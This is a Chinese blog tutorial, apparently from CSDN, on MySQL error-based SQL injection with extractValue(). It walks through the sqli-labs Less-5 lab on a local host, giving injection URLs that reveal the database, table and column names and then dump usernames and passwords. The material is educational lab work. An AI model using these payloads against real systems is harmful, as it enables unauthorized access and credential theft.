extractValue()报错注入

前情提要

extractValue()报错注入和updatexml()报错注入功能几乎一样,里面很多函数和知识点都是互通的,若在本文中有没看懂的知识点,可在updatexml() 报错注入中查看详解

什么是报错注入

报错注入是一种页面响应形式,响应过程如下:

前台 后台 数据库 用户在前台页面输入检索内容 后台将前台页面上输入的检索内容不加区别的拼接成sql语句,送给数据库执行。 数据库将执行的结果返回给后台, 后台将数据库执行的结果不加区别的显示到前台页面上 前台 后台 数据库

报错注入的基础

Error-based SQL injection(报错注入)
利用前提:
页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysqli_error()
优点:
不需要显示位
缺点:
需要输出mysqli_error( )的报错信息
需要回显
需求:
两个必要的不加区别就是:后台对于输入输出的合理性没有做检查

不加区别
不加区别
前台
后台
数据库

报错注入的思路

PC 数据库 构造报错语句,让错误信息中添加能显示数据库内容的查询语句 返回报错提示信息中包含数据库中的内容 PC 数据库

本章所用到的函数

extractValue()

语法

extractValue(参数一, 参数二)
参数一: XML 格式的字符串或字段。
参数二: 用于定位 XML 中数据的 XPath 表达式。

在sql注入中核心作用:

通过错误回显泄露数据
一,强制触发数据库错误
构造 非法的 XPath 表达式,利用 MySQL 的错误回显机制,将查询结果嵌入错误信息中。

示例:

SELECT extractValue(1, concat('~', (SELECT database())));

1.concat(‘~’, (SELECT database())) 会将当前数据库名拼接到 ~ 后(如 ~security)。
2.extractValue() 尝试解析 ~security 作为 XPath,但 ~ 是非法字符,触发错误。
3.错误信息会显示 XPATH syntax error: '~security',从而泄露数据库名security

二.绕过数据回显限制
当目标页面不直接显示查询结果,但会返回错误信息时,攻击者可利用此方法间接获取数据。

使用时的注意事项

extractValue()在sql报错注入中只需要用到参数二,不需要参数一,所以参数一随便写即可

示例

本示例为sqli-labs 5
在这里插入图片描述

1.添加注入点

在这里插入图片描述

http://127.0.0.1/sql/Less-5/
?id=1

2.判断闭合方式

通过' 判断闭合方式
在这里插入图片描述

http://127.0.0.1/sql/Less-5/
?id=1' --+

3.查询库名

在这里插入图片描述

http://127.0.0.1/sql/Less-5/
?id=1' and 1=extractValue(1,concat(0x23,(select database())))--+

4.查询表名

在这里插入图片描述

http://127.0.0.1/sql/Less-5/
?id=1' and 1=extractValue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+

5.查询列名

在这里插入图片描述

http://127.0.0.1/sql/Less-5/
?id=1' and 1=extractValue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users")))--+

6.查询字段
在这里插入图片描述

http://127.0.0.1/sql/Less-5/
?id=1' and 1=extractValue(1,concat(0x23,substring((select group_concat(concat_ws(0x23,id,username,password)) from users),1,30)))--+

总结

本文主要介绍了 extractValue() 报错注入的相关知识,包括其与 updatexml() 报错注入的关联、报错注入的基本概念、思路、用到的函数以及具体示例。

如有问题欢迎在评论区讨论

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值